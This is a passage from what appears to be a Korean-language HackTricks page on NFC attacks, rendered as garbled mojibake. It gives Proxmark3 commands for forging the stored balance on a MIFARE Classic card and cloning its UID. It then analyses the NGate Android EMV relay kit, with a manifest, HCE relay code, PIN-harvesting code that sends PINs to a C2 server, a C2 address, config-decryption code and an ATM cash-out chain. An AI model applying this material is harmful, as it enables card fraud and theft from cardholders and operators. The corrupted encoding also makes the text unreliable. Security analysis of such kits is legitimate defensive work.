  • ๋‘ dumps์˜ diff๋ฅผ ์ˆ˜ํ–‰ํ•˜์—ฌ ์ž”์•ก๊ณผ ๋ฌด๊ฒฐ์„ฑ ํ•„๋“œ๋ฅผ ๋‚˜ํƒ€๋‚ด๋Š” ๋ณ€๊ฒฝ๋˜๋Š” ๋ธ”๋ก/bytes๋ฅผ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค.
  • ๋งŽ์€ Classic ๋ฐฐํฌ์—์„œ๋Š” ๊ธฐ๋ณธ โ€œvalue blockโ€ ์ธ์ฝ”๋”ฉ์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ ์ž์ฒด ์ฒดํฌ์„ฌ์„ ์ ์šฉํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: ์ž”์•ก๊ณผ ๋‹ค๋ฅธ ํ•„๋“œ ๋ฐ ์ƒ์ˆ˜์˜ XOR). ์ž”์•ก์„ ๋ณ€๊ฒฝํ•œ ํ›„์—๋Š” ๋ฌด๊ฒฐ์„ฑ bytes๋ฅผ ์žฌ๊ณ„์‚ฐํ•˜๊ณ , ์ค‘๋ณต๋˜๊ฑฐ๋‚˜ ๋ณด์™„๋œ ๋ชจ๋“  ํ•„๋“œ๊ฐ€ ์ผ๊ด€๋˜๋„๋ก ํ™•์ธํ•˜์„ธ์š”.
  1. ์ˆ˜์ •๋œ modified dump๋ฅผ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ โ€œChinese magicโ€ Classic tag์— ๊ธฐ๋กํ•ฉ๋‹ˆ๋‹ค.
# Load a modified binary dump onto a UID-changeable Classic tag
hf mf cload -f modified.bin
  1. ์›๋ž˜ UID๋ฅผ ๋ณต์ œํ•˜์—ฌ ๋‹จ๋ง๊ธฐ๊ฐ€ ์นด๋“œ๋ฅผ ์ธ์‹ํ•˜๋„๋ก ํ•œ๋‹ค
# Set the UID on a UID-changeable tag (gen1a/gen2 magic)
hf mf csetuid -u <original_uid>
  1. ๋‹จ๋ง๊ธฐ์—์„œ ์‚ฌ์šฉ

์นด๋“œ ์ž์ฒด์˜ ์ž”์•ก(on-card balance)๊ณผ UID๋ฅผ ์‹ ๋ขฐํ•˜๋Š” ๋ฆฌ๋”๋Š” ์กฐ์ž‘๋œ ์นด๋“œ๋ฅผ ์ˆ˜๋ฝํ•œ๋‹ค. ํ˜„์žฅ ๊ด€์ฐฐ์— ๋”ฐ๋ฅด๋ฉด ๋งŽ์€ ๋ฐฐํฌ ํ™˜๊ฒฝ์—์„œ ํ•„๋“œ ๋„ˆ๋น„(์˜ˆ: 16๋น„ํŠธ fixed-point)์— ๋”ฐ๋ผ ์ž”์•ก์„ ์ œํ•œํ•œ๋‹ค.

Notes

  • ์‹œ์Šคํ…œ์ด native Classic value blocks๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด ํ˜•์‹์„ ๊ธฐ์–ตํ•˜๋ผ: value (4B) + ~value (4B) + value (4B) + block address + ~address. ๋ชจ๋“  ๋ถ€๋ถ„์ด ์ผ์น˜ํ•ด์•ผ ํ•œ๋‹ค.
  • ๊ฐ„๋‹จํ•œ ์ฒดํฌ์„ฌ์„ ์‚ฌ์šฉํ•˜๋Š” ์ปค์Šคํ…€ ํฌ๋งท์˜ ๊ฒฝ์šฐ, ํŽŒ์›จ์–ด๋ฅผ ๋ฆฌ๋ฒ„์Šคํ•˜์ง€ ์•Š๊ณ  ๋ฌด๊ฒฐ์„ฑ ํ•จ์ˆ˜๋ฅผ ๋„์ถœํ•˜๋Š” ๊ฐ€์žฅ ๋น ๋ฅธ ๋ฐฉ๋ฒ•์€ ์ฐจ๋ถ„ ๋ถ„์„(differential analysis)์ด๋‹ค.
  • block 0/UID ์“ฐ๊ธฐ๋ฅผ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์€ UID-changeable ํƒœ๊ทธ(์˜ˆ: โ€œChinese magicโ€ gen1a/gen2)๋ฟ์ด๋‹ค. ์ผ๋ฐ˜ Classic ์นด๋“œ๋Š” UID๊ฐ€ ์ฝ๊ธฐ ์ „์šฉ์ด๋‹ค.

์‹ค์Šต์šฉ Proxmark3 ๋ช…๋ น์€ ๋‹ค์Œ์„ ์ฐธ์กฐ:

Proxmark 3

ํœด๋Œ€์šฉ HID MaxiProx 125 kHz Mobile Cloner ์ œ์ž‘

๋ ˆ๋“œํŒ€ ํ™œ๋™ ์ค‘ HID Proxยฎ ๋ฐฐ์ง€๋ฅผ ์ˆ˜์ง‘ํ•˜๊ธฐ ์œ„ํ•œ ์žฅ๊ฑฐ๋ฆฌ, ๋ฐฐํ„ฐ๋ฆฌ ๊ตฌ๋™ ์†”๋ฃจ์…˜์ด ํ•„์š”ํ•˜๋‹ค๋ฉด ๋ฒฝ๊ฑธ์ดํ˜• HID MaxiProx 5375 ๋ฆฌ๋”๋ฅผ ๋ฐฑํŒฉ์— ๋“ค์–ด๊ฐ€๋Š” ์ž๊ธ‰์‹ ํด๋กœ๋„ˆ๋กœ ๊ฐœ์กฐํ•  ์ˆ˜ ์žˆ๋‹ค. ์ „์ฒด ๊ธฐ๊ณ„์ ยท์ „๊ธฐ์  ์›Œํฌ์Šค๋ฃจ๋Š” ๋‹ค์Œ์„ ์ฐธ์กฐ:

Maxiprox Mobile Cloner

Android Readerโ†”HCE Emitter๋ฅผ ํ†ตํ•œ NFC/EMV ๋ฆด๋ ˆ์ด

Classic EMV ๋ฆด๋ ˆ์ด๋Š” 2๋Œ€์˜ Android ๋””๋ฐ”์ด์Šค๋กœ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋‹ค: ์‹ค์ œ ์นด๋“œ์—์„œ ๋ผ์ด๋ธŒ APDUs์™€ PIN์„ ์บก์ฒ˜ํ•˜๋Š” victim ์ธก ๋ฆฌ๋”, ๊ทธ๋ฆฌ๊ณ  ๋‹จ๋ง๊ธฐ์—์„œ APDUs๋ฅผ ์ƒ์œ„๋กœ ์ „๋‹ฌํ•˜๋Š” attacker ์ธก HCE emitter. ๋ถ„์„๋œ NGate ํ‚คํŠธ๋Š” ์ •๋‹นํ•œ Android NFC API์™€ ๋‹จ์ˆœํ•œ ํ”„๋ ˆ์ž„ ๊ธฐ๋ฐ˜ TCP C2๋ฅผ ์•…์šฉํ•ด ์‹ค์‹œ๊ฐ„ ATM ์บ์‹œ์•„์›ƒ์„ ์กฐ์œจํ•œ๋‹ค.

ํ•ต์‹ฌ ๊ตฌ์„ฑ ์š”์†Œ

  • Reader-mode app (victim): NFC reader APIs๋ฅผ ์‚ฌ์šฉํ•ด EMV (PAN/expiry/AIDs)๋ฅผ ํŒŒ์‹ฑํ•˜๊ณ , AID๋ณ„๋กœ ์Šคํ‚ด์„ ํ‘œ์‹œํ•˜๋ฉฐ PIN์„ ์š”์ฒญํ•ด ์ฆ‰์‹œ ์œ ์ถœ(exfiltrate)ํ•œ๋‹ค.
  • Emitter-mode app (ATM side): Host Card Emulation (HCE)์„ ๊ตฌํ˜„ํ•˜๋ฉฐ android:requireDeviceUnlock="false"์™€ ๊ฒฐ์ œ AID๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค; processCommandApdu()๋Š” APDUs๋ฅผ C2๋กœ ์ „๋‹ฌํ•˜๊ณ  ์ตœ์†Œํ•œ์˜ ์‘๋‹ต์„ ๋ฐ˜ํ™˜ํ•œ๋‹ค.
  • Wire protocol: length-prefixed frames, ์ฃผ๊ธฐ์  keepalive; ์„ ํƒ์ ์œผ๋กœ TLS.

Android surface (Manifest/HCE)

<uses-permission android:name="android.permission.NFC"/>
<uses-permission android:name="android.permission.INTERNET"/>
<service android:name=".nfc.hce.ApduService"
android:permission="android.permission.BIND_NFC_SERVICE"
android:exported="true">
<intent-filter>
<action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
<meta-data android:name="android.nfc.cardemulation.host_apdu_service"
android:resource="@xml/hce"/>
</service>

hce.xml ์˜ˆ์‹œ (์ž ๊ธˆ ํ•ด์ œ ์—†์Œ + ๊ฒฐ์ œ AID)

<host-apdu-service android:requireDeviceUnlock="false"
android:description="relay">
<aid-group android:category="other">
<aid-filter android:name="F001020304050607"/>
</aid-group>
<aid-group android:category="payment">
<aid-filter android:name="F001020304050607"/>
</aid-group>
</host-apdu-service>

ํˆฌ๋ช… ์ค‘๊ณ„ ์—”๋“œํฌ์ธํŠธ (HCE)

@Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
Log.d("ApduService", "APDU-IN: " + toHex(apdu));
bus.forward(apdu); // send upstream to C2/reader
return new byte[0]; // empty response, pure relay endpoint
}

AID๋กœ EMV ์Šคํ‚ด ์œ ์ถ” (์˜ˆ์‹œ)

  • A000000004 โ†’ Mastercard
  • A000000003 โ†’ Visa
  • A000000658 โ†’ MIR
  • A000000333 โ†’ UnionPay

PIN harvesting ํŒจํ„ด (ํ”ผํ•ด์ž UI)

// Custom keypad publishes when required length (e.g., 4) is reached
if (pin.length() == 4) postDelayed(() -> bus.publish(pin), 100L);
// Network immediately exfiltrates via dedicated opcode
send(OP_PIN_REQ, pin.getBytes(StandardCharsets.UTF_8));

Framed C2 (cleartext ์˜ˆ์‹œ)

  • Clientโ†’Server: int32 len | int32 opcode | body
  • Serverโ†’Client: int32 len | body (opcode inside payload)
  • ๋ณธ๋ฌธ ํฌ๊ธฐ๊ฐ€ ~100 MiB๋ฅผ ์ดˆ๊ณผํ•˜๋ฉด ๊ฑฐ๋ถ€; keepalive ~7s (PING)
// send
out.writeInt(body.length); out.writeInt(op); out.write(body); out.flush();
// recv
int len = in.readInt(); byte[] body = new byte[len]; in.readFully(body);

Config concealment: ์ธ์ฆ์„œ ๊ธฐ๋ฐ˜ XOR

  • ๋„ค์ดํ‹ฐ๋ธŒ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋Š” ์•ฑ ์„œ๋ช… ์ธ์ฆ์„œ(DER)์˜ SHAโ€‘256์œผ๋กœ 32-byte ํ‚ค๋ฅผ ์œ ๋„ํ•œ๋‹ค.
  • C2 ๊ตฌ์„ฑ์€ assets(์˜ˆ: assets/____)์— ASCIIโ€‘hex๋กœ ์ €์žฅ๋˜์–ด ์žˆ์œผ๋ฉฐ, hex-decoded๋œ ๋’ค ํ‚ค๋ฅผ 32 bytes๋งˆ๋‹ค ๋ฐ˜๋ณตํ•ด XOR-ed๋œ๋‹ค:
for (size_t i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31];

config๋ฅผ decryptํ•˜๊ธฐ ์œ„ํ•œ ์˜คํ”„๋ผ์ธ PoC

# Extract signing cert digest
apksigner verify --print-certs sample.apk
# "Signer #1 certificate SHA-256 digest: <hex>"
import pathlib
key = bytes.fromhex("<sha256_of_signing_cert>")
ct  = bytes.fromhex(pathlib.Path("/path/to/assets/____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))

์ƒ˜ํ”Œ ๋ณตํ˜ธํ™”๋œ ํ•„๋“œ: host, port, sharedToken, tls, mode, reader, uniqueID, ttd.

๋ฆด๋ ˆ์ด ์ฒด์ธ (end-to-end)

  1. ํ”ผํ•ด์ž๊ฐ€ APK๋ฅผ ์„ค์น˜ํ•˜๊ณ  ์•ฑ์„ ์—ด๋ฉด โ†’ native init์ด assets์—์„œ config๋ฅผ ๋ณตํ˜ธํ™”ํ•จ.
  2. ์•ฑ์ด framed TCP๋ฅผ ์‚ฌ์šฉํ•ด C2(์˜ˆ: 91.84.97.13:5653)์— ์—ฐ๊ฒฐํ•จ; keepalive ์•ฝ 7์ดˆ.
  3. ํ”ผํ•ด์ž๊ฐ€ ์นด๋“œ๋ฅผ ํƒœ๊ทธํ•˜๋ฉด โ†’ reader๊ฐ€ PAN/expiry/AIDs๋ฅผ ์ถ”์ถœํ•˜๊ณ  CARD_DISCOVERED๋ฅผ ์ „์†กํ•จ.
  4. ํ”ผํ•ด์ž๊ฐ€ PIN์„ ์ž…๋ ฅํ•˜๋ฉด โ†’ keypad๊ฐ€ PIN_REQ๋กœ ๊ฒŒ์‹œํ•˜๊ณ  exfiltrateํ•จ; ์„œ๋ฒ„๋Š” UI์šฉ์œผ๋กœ๋งŒ VALID/INVALID๋กœ ์‘๋‹ตํ•จ.
  5. ํ„ฐ๋ฏธ๋„์˜ ๊ณต๊ฒฉ์ž ์žฅ์น˜๋Š” HCE emitter๋ฅผ ์‹คํ–‰ํ•˜์—ฌ APDUs๋ฅผ ATM์œผ๋กœ ๋ฆด๋ ˆ์ดํ•˜๊ณ  cash-out์„ ์ˆ˜ํ–‰ํ•จ.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ